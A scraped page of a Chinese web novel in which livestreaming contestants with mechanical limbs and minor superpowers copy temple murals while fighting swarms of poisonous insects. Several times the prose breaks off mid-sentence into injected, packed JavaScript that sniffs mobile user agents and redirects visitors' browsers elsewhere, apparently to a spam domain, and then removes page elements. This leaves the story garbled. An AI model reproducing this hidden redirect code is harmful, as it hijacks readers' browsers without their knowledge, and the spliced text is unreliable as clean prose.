但传说故事中的母神,除了庇佑当地居民免于毒虫迫害之外,还拥有“重塑断肢”的神力,这一点让岑今很是在意——她想到了他们这一车人都有的机械义体。 机械改造算不算某种意义上的“重塑断肢”呢? 她直觉这不是巧合,但没有更多的信息,她暂且将这个疑问压在了心底。 “青山小哥,你之前说母神殿是咱们夏令营的第一站,现在我们也了解这里的历史了,接下来是什么安排?”胡家明开口了,他努力和npc互动的样子,给人一种误入初中家长会,围观中年老父亲试图和刚毕业的年轻班主任拉近距离的感觉。 不知不觉间,青山已经挪到了大殿门口,抬起脚再跨一步就能走出母神殿:“接下来需要各位完成夏令营的第一项体验——临摹壁画!” “我相信,只有坐下静静地临摹壁画,才能更真切地体会到壁画艺术与古老传说的魅力。为了不破坏大家的沉浸感,体验期间我会在外等待,完成体验就可以来找我交作业哦!” 最后几个字还没说完,青山衣角一闪,已然轻快地迈出了大殿。 下一个瞬间,浅红色激光落下,弥合了门洞的空缺——他们被关在了殿内! 一行数字在大门中央浮现:3:00:00。是倒计时,这意味着他们有三个小时的“体验”时间? 如果三小时后没有完成体验,又会发生什么? 大殿四周泛起隐隐的红光,汇聚在中心瓷白的母神像身上,仿佛是血水染湿了母神纯白的袍尾。 陈小明情不自禁开始推他的眼镜:“怎、怎么感觉有点阴森……” “可能这样更有沉浸感?”岑今歪了歪头,手里突然落下了一本写着她名字的素描本,还有一套画笔,“临摹的工具在系统背包里,大家可以打开看看。” 摸到道具的那一刻,熟悉的光幕又在她眼前展开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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狠狠地撞了他一下之后,圆圆胖胖的蘑菇头还在颤动。 蒋琳身边接连冒出两三个巨大的红蘑菇,她皱着眉头堪堪站稳。岑今看到她抬起右手,手边渐渐聚起一道旋转的风刃。 “别砍!”岑今连忙出声,还顾不上好奇蒋琳的异能,脚下已经一连躲过了四个大红蘑菇,“先别动它,蘑菇里面好像还有东西。” 她有些庆幸,这些年在垃圾场为了避免踩到不明物体练出的走位技巧,居然能在这里派上用场。 她的走位很小心,没有碰到任何一个蘑菇,但蘑菇头依旧在颤动,而且还在悄悄地膨胀变大。 蒋琳闻言收回风刃,带着陈小明避过两个蘑菇,对岑今点了点头:“抱歉,是我疏忽了。” 地面的鼓动停止了,放眼望去,鲜艳的红几乎覆盖了整片青草,高矮不一的蘑菇在众人脚边晃动、生长,这场面怎么看怎么诡异。 一时间没有人敢妄动,陈小明也被挤得停下了画笔。岑今一行六人和满地的蘑菇面面相觑,大殿内静得落针可闻。 “嗤——”像是气球漏气的声音从大殿一角传来,几人纷纷扭头,六道视线落在一处。 5. 母神的赐福(三) 角落里,一个半米高的红蘑菇裂开了。 它像被扎破了的充气玩偶一样,“嗤”一声迅速坍缩在地。 岑今的感觉是对的,蘑菇果然不是实心的,红色的蘑菇皮只有薄薄一层,皮下像是有什么生物在蠕动,轮廓若隐若现。 一个令人头皮发麻的猜测蹦进了陈小明的脑袋:“底、底下会不会是虫子?” 恐怕是的。岑今没有说出口,不过也不必说了,因为蘑菇皮已经被两个钳子掀起了一角,露出半截甲壳,然后是一根带着长长尖刺的尾巴——那是一只蝎子,比普通的蝎子更大,淡紫色的躯干看起来十分坚硬。 它高高举起一对大钳,昂起头的样子似乎是在四处张望。 姜月月的目光依旧是冷冷的,看到蝎子也只是挑了挑眉,厚厚的刘海纹丝不动,和隔壁陈小明对比鲜明。 蒋琳带着陈小明又往后退了两步,眉心狠狠地皱了起来,脸上写满了嫌恶:“现在可以杀了吗?好恶心。” 岑今叹了口气:“看起来不杀也不行了。对付这些虫子,恐怕才是真正的主线任务一。” 她看了一眼门上的倒计时:2:42:18。时间刚刚过去了十八分钟。 任务开启之前,青山费了那么多口舌,事无巨细地向他们介绍壁画,或许这就是副本系统给他们的一个提示。 如果壁画画的不是传说,而是真实的凤凰村往事呢? 那么,蘑菇里爬出来的这些虫子,也许不是单纯的长得诡异,而是毒性也很诡异的凤凰村特产毒虫。 这么看来,所谓的“临摹壁画”,其实难点并不在于考验画技,而在于如何在躲避毒虫攻击的同时,临摹下完整的三面壁画。 “嗤——嗤——”的声音接连响起,膨胀到极限的红蘑菇接二连三地漏气,像多米诺骨牌一样接连委顿在地。 密密麻麻的毒虫从蘑菇皮下钻了出来,蝎子之外,还有蜘蛛、蜈蚣……以及众多岑今说不出种类的丑陋虫子。 “这场面,我都有点受不了啊!”胡家明捏紧了拳头,小臂青筋暴起,臂围和之前相比粗壮了一圈——他的异能是局部强化,平时用得最顺手的还是一双拳头,强化之后一拳能把人抡出三米开外。 但是胡家明不想承认,他其实很怕虫子。他甚至不敢拿正眼瞧那些长得千奇百怪的毒虫,更别说拿自己的宝贝拳头锤了。 不过,为了不在直播间观众和其他几位主播面前丢脸,他硬着头皮也要撑下去——正好他的头皮本来就是硬的。 蒋琳的眉头皱得更紧了,唰唰几道风刃落下,暂时在脚下清理出了一片干净的地盘,抽空又在素描本上画了两笔。 然而,虫子的总数并没有变少。蘑菇炸开“生出”虫子之后,裂缝中又开始冒出新的蘑菇,不断膨胀变大,“孕育”着新的毒虫。 她的脚边干净不过几分钟,很快又有毒虫一路拨开茂盛的青草,昂着头向这边聚集过来。 与此同时,岑今打开了久违的直播间界面。弹幕在她眼前呼啸而过,数量比起上一次打开已经有了质的飞跃: 【好恶心啊啊啊啊!主播不怕虫子吗?我都快吐了】 【不愧是铁血修理工人!还得是咱们工人有力量】 【主播怎么不用异能?就硬靠走位躲?看得我好急】 【慕了,主播48了腿脚还这么灵便……】 【估计是异能太废,拿不出手】 【加油啊主播,投了两个币支持你】 【我说呢,48岁铁血修理工人这种名字怎么看都不像是高手】 【隔壁主播的异能是风刃,好帅啊】 【跑路了,修理工自求多福吧】 她粗略扫了一遍,又看了一眼右上角的打赏值,“280”。还什么都没干,就比半小时前站在母神殿门口的时候翻了一倍,看来英菲尼迪的广告投放还是很卖力的。 之前空无一物的商城也悄悄上架了道具,目前是有小刀和点火枪两种。 岑今的目光下移,移到了道具价格上—— 平平无奇的小刀,2000打赏值; 普普通通的点火枪,5000打赏值。 她默默关掉了商城,模拟舱副本内的通货膨胀真是比南岸还严重,平平无奇普普通通到可以在自家厨房找到的两样工具,进了副本都能卖出天价。 岑今现在觉得,还是有必要为了打赏值努力营业一下,资本家真是打得一手好算盘。 她略一思索,摆出了一副高深莫测的表情。 直播间里,岑今的脸突然放大,甚至还相当智能地切了一个眼神的特写分镜,看起来颇有一种势在必得的锐利。 她忽然停下了脚下不断闪避的步伐,抬起手打了个响指,任由毒虫举起大钳,试探着触碰她的鞋面。她微微抬起下巴,对着直播间的观众们做了几个口型。 【怎么不躲了?直接开摆?】 【主播是说了什么吗?】 【她好像是在说,“等着瞧吧”……】 【我去,真的假的,有点帅啊】 【铁血修理工人永不言败!】 【可恶啊,被这个女人装到了】 【啊啊啊更好奇了,主播的异能到底是什么!】 岑今装完这一波就迅速地关闭了直播界面。从弹幕反响来看,应该是起到了一个制造悬念、吊人胃口的效果,但现在她必须聚精会神地对付已经扒着她的鞋爬上来的虫子。 刚刚胸有成竹、势在必得的样子完全是装出来的,岑今其实并不知道她那理论上只有D级的空间壳能不能挡住毒虫的攻击,但她想赌一把。 现在他们杀虫的速度远远赶不上蘑菇生虫的速度,单纯靠走位躲闪终归不是长久之计,恐怕撑不到她攒够打赏值能兑换道具的时候。 脚后跟爬上来一只手心大的蜘蛛,裤腿边缘被一只一乍长的蝎子钳住,还有一条不知名的紫色多足虫刚爬上她的鞋面——一共只有三只毒虫,还在可控范围内。 岑今闭上双眼,努力感受着覆盖她全身的“空间”。 这种感觉很难用语言表述,她的身体像是融在了某种胶质中,这层“胶质”是呼吸着、缓慢流动着的,像浅浅的沼泽,平静的表面下喧嚣着不稳定的旋涡,等待着第一个莽撞的闯入者。 毒蝎偏开脑袋,探进了她的右侧裤腿,一甩宽大的蝎尾,狠狠地朝着岑今的皮肤刺去。 岑今依旧没有睁眼,但她的注意力已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195115|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全聚焦在蝎尾袭来那一处。 进了模拟舱副本之后,她的空间壳似乎变得活跃了不少。蝎尾扎入空间壳,像是往池塘中心投入了一粒石子,平静的表面被戳碎,周围胶质状的“空间”震荡起来,疯狂地向圆心处的蝎尾涌动。 二者相触的那一刻,毒蝎的躯干突然开始剧烈地挣动,它猛地拔出了它的尾巴,同一时间,岑今睁开双眼,看见了一只没有尾巴的、黯淡无光的蝎子瘫在她的脚边——它宽大的蝎尾被空间壳“吞噬”,只留下一个渗血的切面。 该说不说,切得还挺平整,跟激光切割机切出来的旗鼓相当。 毒蝎的躯干原本泛着一层淡紫色,现在已经褪成了淳朴的裸色,不知道是因为带毒的尾巴被切掉了,还是因为伤口失血过多。 脚后跟的蜘蛛反应有些迟钝,跟着蝎子一起爬进了岑今的裤腿,但不如蝎子聪明——它爬上的是岑今的机械左腿,咬不动也扎不进去。 不仅如此,他还被空间壳削断了四截前腿,和蝎子一起仰面掉在了地上,正挣扎着翻身。 那只紫色多足虫目睹“前人”的惨状,甚至都没爬到岑今的脚踝,就果断掉头离开去毒害别人了。 在模拟舱外,她那鸡肋的空间壳挡不住外卖机器人不小心挥来的一拳;但在模拟舱副本中,空间壳居然拥有了“吞噬”的能力。 岑今能够清晰地感受到自己在操控“空间”,她可以按照自己的心意让“空间”汇聚或是扩散。 之前对付毒蝎时,她就是将“空间”聚集在了蝎尾的位置,让那一处的空间壳爆发出更强大的能量,干脆地吞噬了整个蝎尾。 这就是深蓝所说的潜能开发吗?那这会是她异能潜力的上限,还是说,这不过是一个开始? 她之前对自己的D级异能从未有过期待,但这个念头甫一闪过,她还是不禁起了一阵鸡皮疙瘩。 岑今不敢在这个时候多想,当务之急还是完成主线任务,以免夜长梦多。 她又看了一眼倒计时:2:19:10。任务完成度目前只有11%,她得加快进度了。 岑今又站回了壁画前,重新打开她鬼画符的素描本。 测试过了她的能力,她现在已经不担心满地乱爬的毒虫了。就算还有不长记性的虫子要爬到她身上,那受伤的也只会是虫,不会是她。 她迅速地扫了一眼接下来的壁画内容,然后埋头就是一顿龙飞凤舞。 9%——13%——19%——28%……完成进度涨得飞快,岑今唰唰翻页,忽然余光瞟到身边还有一个身影也和她一样,脚下一动不动,全神贯注、一门心思地画画——是谁这么有本事? 她低头一看,是那个冰块脸的小女孩,姜月月。 察觉到岑今的视线,姜月月抬起头来,看了她一眼。 岑今对上女孩的眼睛,愣了一瞬,手中的画笔都停了下来——不知道从什么时候起,姜月月那对乌黑的眼珠不见了,取而代之的是一双金灿灿的黄金竖瞳,像是毒蛇的眼睛,盯久了直让人脊背生寒。 姜月月似乎很满意岑今的反应,她冰冷僵硬的面部神情略微有些松动,上下打量了岑今几个来回。 “你也不怕毒虫,为什么?” 6. 母神的赐福(四) 姜月月的黄金竖瞳乍一看有点瘆人,但岑今的适应能力向来良好,多看了两眼之后,她觉得这个造型其实还是挺帅气的。 至于为什么不怕毒虫—— “因为我的异能很有威慑力,毒虫都怕我。”岑今说得一本正经,满脸严肃。 姜月月无语地把眼睛瞥到了一边:“别把我当小孩哄。” 好有个性的小孩,岑今心想。 “那你呢,你为什么不怕毒虫?”她把这个问题抛了回去,她也很好奇姜月月的异能是什么。 那个一直面无表情的小女孩终于有了点不一样的表情。她突然咧开嘴笑了一下,虽然笑得有些鬼气森森:“因为我的异能——更有威慑力。” 岑今低下头看了看,以姜月月的双脚为圆心,几步长的半径里干干净净,没有一只毒虫敢靠近。 但她自己的脚边,除了缺胳膊少腿的毒虫残躯之外,还是蛰伏着那么几条贼心不死的完整毒虫,随时都有可能贴上来冒犯她一下。 两相比较,高下立判——好吧,姜月月说的确实没错。 不同于她俩这个小角落里的宁静祥和,剩下四人正和毒虫大军混战, 红蘑菇像打地鼠一样,此起彼伏地从地面的裂隙里冒出来,地面上毒虫的尸体和新生的毒虫混在一处,密密麻麻,让人无处下脚。 大殿里鸡飞狗跳,乱成了一锅粥。 胡家明解除了手臂的强化,把强化部位换成了双脚和小腿。他手上抱着素描本胡乱图画,左右两边交替着来回跺脚,周围一片都被踩成了一个小坑。 然而,仍然是架不住不断新生的毒虫的围堵,还有些甲壳坚硬、根本踩不死的,眼疾手快地扒上他的脚踝就扎,皮肤上瞬间青紫了一片。 胡家明的脸涨得通红,要是铁脑壳也会冒汗的话,他现在应该已经挂了一脑门的大汗了。 “兄弟们!给主播加加油打打赏,主播马上把这群臭虫都干废!” 眼见着自己疑似中毒,他也顾不上面子了,恨不得直接从观众的口袋里掏出硬币来,好让自己早点买上道具——起码买把小刀,摆脱和毒虫肉搏的局面。 蒋琳的脸色也很难看,但她还是护着陈小明,勉强在两人身边维持起一圈低矮的风墙,挡住了想要接近的毒虫。 这是她刚琢磨出来的新技能,杀虫效率比单一的风刃高不少。不过相应的,对体力和精力的消耗也变大了,她不知道自己还能撑多久。 “真、真的对不起,我的能力一点用都没有……”陈小明一边喃喃着道歉,一边攥紧铅笔画得飞快。看他笔下的进度,居然和从一开始就没担心过毒虫的姜月月相差无几。 “别这么说,每个人的能力适用场景不同。”蒋琳在觉醒异能前,曾是十二年级的常驻老师。 她看到陈小明,就像看到了自己班上的学生,属于教师的责任心熊熊燃烧,下意识地就想保护好他。 在风墙外徘徊的毒虫似乎又有了增多的迹象,她叹了口气:“你自己的进度还不到20%吧?你先画自己的本子,把我的素描本还给我,我现在还有余力赶赶进度。” 之前蒋琳忙着用风刃对付虫群的时候,陈小明试着在她的本子上画了几笔,没想到蒋琳的完成进度真的增加了——原来系统只认素描本封面上的姓名,并不会区分实际是谁在执笔作画。 这个发现让陈小明松了一大口气,他立马收起了自己的素描本,开始疯狂地帮蒋琳临摹壁画——这让他觉得自己并不完全是个拖后腿的累赘。 他把蒋琳的素描本护得更紧了,弱弱但很干脆地拒绝了她:“蒋琳姐你别分心,我、我很快就能画完的!” 蒋琳没办法,只好咬咬牙努力再把风墙凝实几分,希望自己能撑得更久一些。 倒计时还剩一个半小时,几人脸上的神色都有些着急了。 至于路阳——岑今发现,不知道从什么时候起,她就再也没在这个大殿里看到过路阳了。难道他的异能是隐身? 但就算能隐身,这么大个大活人,在大殿里行动总会留下点痕迹吧?路阳怎么像是人间蒸发了一样…… 岑今已经完整临下了前两面墙的壁画,走到了拐角处。 她正一心二用地思索着,忽然身边响起了一个熟悉的声音:“岑今老师,我想和你做个交易。” 她闻言抬起头,角落里空荡荡的。 姜月月的进度比她快,已经走在前面了。她的身边没有任何活物,除了一棵和她差不多高的树——等等,刚进门的时候,大殿角落里有树吗? “岑今老师,是我,我是路阳。” 这次岑今听清楚了,和她说话的就是面前的这棵树,熟悉的声音也正是消失多时的路阳的声音。 树根边上不是没有毒虫,但它们都对一棵平平无奇的小树不感兴趣,纷纷绕开根系匆匆爬过。细看树干表皮的纹路,似乎还能看出几分路阳五官的影子。 殿内众人正在虫群围攻下水深火热,树人版路阳就这样悄无声息地在角落里遗世独立、岁月静好。 她觉得这个场面有种说不出的冷幽默,着实是让人一时语塞。 路阳见她默不作声,以为岑今是不想搭理自己,不由得加快了语速:“事到如今,遮遮掩掩也没有意义了!” “我对老师你坦诚,我的异能叫做‘植物人’,可以‘复制’附近植物的外表伪装自己,就像你看到的这样。” 植物人?这个名字听起来很有意思。 “咳咳,问题是伪装成植物之后,我也会像医学上的植物人一样丧失行动能力。” 岑今点点头,明白了:“所以你没法在变成树的状态下完成临摹壁画的任务。” “没错。我不擅长攻击,没法解决毒虫,只能选择发动异能。但变成‘植物人’的时候,我又没法完成任务——可恶,这真是让人头疼啊……”路阳的枝条轻轻挥动了一下,树皮上流露出疑似是惆怅的神色。 “……有话快说。”岑今觉得这小子该喝点东方神药调理一下中二病。 “好的老师!”路阳唰地把枝条收了回来,“我希望老师你能你拿走我的素描本帮我临摹,我看到小明老师就是这么帮蒋老师完成任务的,这个方法可行。” “如果老师愿意救我于水火,我将和老师缔结契约,在这个副本中成为老师忠实的使徒,为老师冲锋陷阵、赴汤蹈火!” 岑今拿着铅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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它们似乎是受到了什么刺激,百千根虫足在地面上焦躁地拍打,躯干也不正常地扭动起来。毒虫移动的速度像是突然被按下了快进键,几乎是冲刺般地向距离他们最近的人类发起攻势。 又有毒虫攀上了胡家明已经一片青紫的小腿,他还没来得及抬脚反抗,毒针就已经狠狠地扎进了他的皮肉。 他的神色越发焦躁不安,衣服完全被汗水浸透,紧紧地贴在身上。一条暗紫色的百足虫悄无声息地顺着裤腿爬到了他的腰际,摇头晃脑地立起了上半身,像是在试探。 “腰,小心!”陈小明在大殿的另一角狼狈地躲闪,但他摘了眼镜,视力反倒好得出奇,一眼就看到了潜伏在胡家明身上鬼鬼祟祟的百足虫,急忙大喊出声提醒。 但还是晚了。 胡家明还没低头,百足虫就猛地一缩一伸,整个虫身窜了出去,“弹跳”降落在他青筋暴起的小臂上。 毒虫张开口器,冲着显眼的青筋恶狠狠地咬了下去,霎时间,就弥漫出一片钱币大小的紫色印记。 “我去!”胡家明的脸涨得更红了,他手忙脚乱地拿起素描本拍飞了毒虫,大颗大颗的汗珠顺着脖子向下淌,看起来很不好受。 那边蒋琳的风墙也快撑不住了,旋转的速度慢了下来。 发狂的毒虫根本不把这点障碍放在眼里,不管不顾地往里面冲。 体型庞大的毒蝎在这场与风墙的角力里胜出,风墙只在它们坚硬的甲壳上磨出一串火星,根本起不到像之前一样的防卫作用。 7. 母神的赐福(五) 陈小明眼看着毒蝎就要爬到蒋琳的脚下,也顾不上画画了,一手小心翼翼地抱着蒋琳的素描本,另一手掏出了刚用打赏值兑换的小刀,不管不顾向蝎子刺去。 毒蝎的爬行速度极快,他觉得眼前简直是一团淡紫色的模糊重影在漂移,手里的小刀毫无章法地乱挥。 蒋琳嘴唇发白,但好在头脑还算清醒。眼见风墙已经挡不住虫群的冲击,她当机立断撤下了这层防护,决定转守为攻,主动出击。 她强行提起一口气,几道风刃在手边凝结,一股脑向毒蝎打去,堪堪在毒蝎爬上鞋面之前斩断了它的蝎尾。 “先别管任务了,”蒋琳把陈小明拉回自己身边,顺便抽走了自己的素描本,“我还能用风刃拦一拦,实在拦不住的你再补刀,首先保证自己不中毒,能做到吗?” 没了风墙的阻拦,密密麻麻的虫群畅通无阻地向他们涌来。陈小明咬牙点了点头,重新戴上眼镜,整个人弯成一张蓄势待发的弓。 蒋琳又劈开一只巨大的蜘蛛,喘了口气:“你是远视眼?刚刚提醒胡家明的时候视力不是挺好的吗?” “这、这是我的异能,”陈小明举着小刀气喘吁吁的,神色很紧张,“我是千里眼,但不戴眼镜的话,只、只能看清远的东西,看不清近、近的。” 蒋琳了然地点点头,但头只点了一半,她就不得不转身迎上斜刺里弹射过来的一条大虫。 再凝结风刃把毒虫斩断在半空已经晚了,她索性攻向自己的手臂。大虫刚扒上她的右手,就连着一层皮肉一起被她削了下去。 蒋琳的胳膊一片鲜血淋漓,但她愣是一声没吭。 岑今那边也不好过。 她仗着自己有空间壳护身,想硬抗下这一波毒虫狂暴,趁早把任务完成。但疯狂的虫群已经完全丧失了基本的判断力,不再像之前那样对她敬而远之。 见她站着不动,毒虫便放肆地往她身上钻,就算爬在前面的虫子被空间壳吞掉了双腿,也依旧有一队又一队的毒虫前赴后继。 空间壳凝聚的“空间”,总量是有限的。岑今操纵着包裹全身的“空间”四处游移对付毒虫,颇有种拆了东墙补西墙的局促。 另一方面,她还得分神去画画,坚持了不到五分钟,她的太阳穴已经开始突突直跳。 针扎般细细密密的头痛让岑今有些焦躁,她落笔越来越快,也越来越潦草。她索性一直开着任务界面,88%——93%——95%……就快了! 岑今的注意力高度紧张,大殿里一切的杂音都从她耳边消失,剩下的只有画笔与纸张接触的沙沙声,还有移动“空间”时旁人难以察觉的破空声。 她放佛又回到了在自己的狗窝里做手工的日子。每次小心翼翼地粘合最后几个接口,即将大功告成的时候,她都会进入这样一种宛如“真空”的状态。 忽然,一声突兀的“嚓”顺着她的耳道清晰地冲进了脑海。 岑今意识到发生了什么,浑身的汗毛都竖了起来,立即调动空间壳向她的左腿膝盖处汇集——那是她机械小腿和肉身连接的地方,被毒虫钻了空子。 下一个瞬间,一条被削掉了半截的长虫仰面掉在了她的脚下,已经死透了。 但岑今终归还是晚了一步。刚刚那一声细微又尖锐的“嚓”声是她皮肉破开的声音,她能感觉到长虫的毒针往她皮肤里扎进了一个尖儿,扎得不深,但附近的肌肉还是有微微的麻痹感。 有长裤阻挡,岑今看不见那一片皮肤的颜色。不过正好,她也下意识地不想让其他人知道自己被毒虫扎了。 只要她不表现出别的异常,不仅在场的几人看不出来,就连一直盯着她直播的观众,也基本不可能发现。 岑今垂着眼,心思飞转,脸上却看不出一点破绽。她好像天生就对痛觉不太敏感,所以在受伤这件事上,反应总是比别人慢半拍。 她手里的画笔只停顿了一瞬,又紧接着画了下去。 98%——99%——100%!任务完成! 光幕上的字一个一个蹦出来,她抬眼飞快地扫过去: 【主线任务一:临摹壁画】 【完成进度:100%】 「恭喜你完成凤凰村民俗体验夏令营的第一项任务!虽然你的临摹技艺还有很大的进步空间,但对待体验的用心程度仍然无可置疑。作为第二名完成体验的主播,你将获得2000打赏值的奖励!在接下来的任务中,也要继续努力哦~」 第二名能拿到2000打赏值?那姜月月拿了多少? 岑今一边想,一边打开了直播界面。好像是有一段时间没顾上直播了,直播间里弹幕刷起了屏,大多都在呼叫主播: 【修理工人什么时候来看看我们?好想你。】 【都快忘了主播长啥样了……】 【急急急!谁能告诉我这位铁血工人的异能到底是什么??!!】 【不想看满地的丑虫子了,想看主播。】 【不知道,反正很牛逼,毒虫绞杀机!】 【主播你终于开摄像头了!!!】 【啊啊啊啊啊啊姐姐快看,这是朕为你打下的打赏值~】 岑今的视线顺理成章地落到了打赏值上——上次看还只有280,这次在加上了系统奖励的2000之后,居然已经突破了5000! 看来她之前装腔拿调的神秘大佬人设拿捏得不错,还是唬住了不少人。 她继续保持:“谢谢大家,我都看到了,你们也辛苦了。” 至于异能究竟是什么,不到万不得已,她是不会主动透露的。难道要告诉观众,她的异能是一层刚刚好只能挡住虫子的透明壳子,评级还在最末一档吗? 最能吸引人类的,是他们自己的好奇心与想象力。她要尽可能久的吊住直播间观众的胃口,这样才能提升她的直播间留存率,增大观众们给她打赏的可能。 岑今现在觉得,做主播好像也没那么难嘛。 在完成任务之后再去看门上的倒计时,她的心态发生了一百八十度的大转弯——之前担心时间过得太快,眼下嫌弃倒计时走得太慢。 倒计时还剩一小时不到,她看到姜月月在神殿门口转了一圈,然后又退回了角落里岁月静好。看样子是完成任务了也没法通过大殿门禁,只能乖乖等三小时倒计时结束,青山进来接他们出去。 既然如此,不如在这个对她来说相对安全的关卡里换个道具,试试效果,看看系统提供的道具究竟值不值得她拿打赏值来换。 她打开商店,确认购买。一眨眼的功夫,价值5000打赏值的点火枪就已经落在了她的手上。 岑今下意识掂了掂,还挺重的,没有经过任何改装,就是一把五十年前就存在的超普通款点火枪。 不过没关系,她一甩马尾,对观众扬起一个灿烂的笑容:“用你们的打赏换来的新装备,很适合我。” 【how pay,how ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195117|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pay】 【主播继续加油,把这群虫子全弄死!】 【啊啊啊所以铁血工人女士的异能到底是什么……】 【新装备有我的功劳,参与感拉满】 【投了几个币啊就有你的功劳?有你什么事?】 【已充666,截图为证】 【打扰了。】 【怎么回事,好像莫名有种养成的快乐】 【主播是不是忘了还要帮隔壁路阳做任务,心疼路阳一秒】 点火枪的枪管差不多有一米长,垂手拿着就能直接捅到地面。 岑今收起直播窗口,试着按下了扳机。枪口喷出来的火焰倒是很旺,她在地上划了一圈,脚边的残缺虫尸滋啦啦地散发出一股蛋白质烧焦的气味。 “姑娘,你任务都做完了,又不怕毒虫,换这个点火枪有什么用?” 从看到系统播报的“主播【岑今】完成任务”之后,胡家明的眼神就时不时地往她那里瞟。 姜月月就算了,小女孩嘛,他可以让着。但岑今一个身强力壮的成年女性,就顾着自己做任务,明明有能力也不来帮帮他们这些辛苦和毒虫搏斗的人,是不是太自私了? 岑今看了他一眼,没说话。 胡家明的四肢大片青黑肿起,没剩几块完好的皮肤。他舔舔干裂的嘴唇,双目赤红,一瘸一拐地向岑今走来,密密麻麻的虫群也跟着他一起涌向岑今:“不如借给我用用吧,做人不能太自私。” “你会用吗?”她也不躲,脸上没什么表情,只是淡淡地问了一句。 “点火枪谁还不会用了?!”胡家明暗自强化了双手,猛地上前一步,伸手就是抢。没想到岑今压根就没使劲儿,他一把就将那昂贵的点火枪夺了过来,还因为用力过猛往后踉跄了几步。 他的视线在手上的点火枪和岑今之间转了几个来回,最终“哼”了一声。 “那你拿去吧,最好是能帮大家杀虫杀干净了,”岑今转身向姜月月的方向走去,“出去了还能把你的英勇事迹告诉联邦警局,评一个乐于助人奖。” 姜月月原本正亮着一双黄金瞳在角落里津津有味但面无表情地看戏,看到岑今突然朝自己走了过来,嘴角撇成了一条“有何贵干”的直线。 岑今真诚地笑了一下:“你这儿虫子少,能不能借我躲躲?”陈小明和蒋琳显然也发现了姜月月的特殊,两人正排除万难往这边挪。 “呵呵,没用的成年人。”姜月月显然还在记恨岑今之前把她当小孩儿哄的事,但她也没动手把岑今赶走,算是默许了。 毒虫进入狂暴状态之后,偶尔也会有几只精神失常的“亡命之虫”冲上来咬她。但姜月月压根没管,被咬了最多不过流点血,皮肤完全没有出现青紫的迹象,就像是对毒虫免疫一样。 看着她的一双黄金竖瞳,岑今觉得,她的异能大概率和毒蛇有关。不过她也不急让姜月月开口,当务之急是赶紧掏出素描本——不是她的,而是路阳的。 她之前自顾不暇,差点儿就把这事忘了,还是看到了弹幕的提醒才想起来,角落里还有一个植物人等着做她忠实的使徒。 一回生二回熟,她这次下笔的速度快了不少,不到五分钟,已经唰唰翻过了三面纸。 “为什么没用啊!!”大殿中央忽然炸开了一声怒吼,地上膨胀的红蘑菇似乎都被震得抖了一抖。 岑今像是早有预料,没有抬头,嘴角却挑起了一个意味不明的弧度。 8. 母神的赐福(六) “这些虫子根本就烧不死,烧不死!”胡家明气急败坏,恶狠狠地把点火枪砸在了地上。他身上不祥的青紫弥漫开来,手脚不时地抽动,像是没法控制自己的身体。 他本以为,拿到点火枪,就能轻而易举地把这群毒虫变成烧烤——这可是5000打赏值才能买到的道具,肯定能发挥奇效! 他按下扳机,一簇硕大的火焰从枪口跃出,映在他赤红的双眼中,闪着希望的亮光。 他咧开嘴笑了,将火焰对准了脚边的一只毒蝎,他看到毒蝎原本高高举起的蝎尾开始焦躁不安地左右摆动,渐渐地,它泛着淡紫色光泽的身躯被橙红色的火焰完全吞没。20、19、18……2、1! 他耐着性子等了二十秒,这下总该死透了吧? 胡家明移开点火枪,想象中焦黑的尸体没有出现,全须全尾的毒蝎冲他扬起了一对大钳。 他瞪大了眼睛,连忙强化双腿,一脚踢飞了毒蝎。他不信邪地把火焰对准另一条长虫,这次足足等了半分钟,可移开枪口的时候,长虫躯壳的光泽甚至更鲜艳了,就像是金属得到了煅烧一样。 “不可能啊……为什么!”他明明看到岑今在刚拿到点火枪的时候,成功烧出了一片虫尸。为什么他不行?难道是那个女人对点火枪做了手脚? 他不断地对准毒虫,又移开枪口。可无论尝试多少次,结果都是一样的——这些毒虫根本就烧不死,甚至不会因为火烧而受半点伤害! 蒋琳和陈小明已经挪到了姜月月身边,这两人面色苍白,身上都有毒虫蜇咬的伤痕,不过远没有胡家明严重。 姜月月没有主动出手帮他们杀虫,但在她旁边呆着,虫群的数量已经比先前减少了不少,奋战了许久的两人终于能稍稍喘一口气。 陈小明画完了蒋琳的素描本,现在正埋头赶自己的任务进度,看样子已经画了一大半,应该能顺利完成任务。 岑今看向门上的倒计时:00:15:37。 她刚落下最后一笔,角落里安静的小树忽然哗啦啦地抖起了树叶——大概是路阳收到了完成任务的提示,想和她打个招呼。 与此同时,系统播报又一次弹在了所有人眼前:恭喜主播【路阳】完成主线任务一!距离任务结束还有15分钟,没有完成的主播要加快速度了哦! 岑今长长地吐了口气,她该做的事都已经做完了,是时候再去装一波大的了。 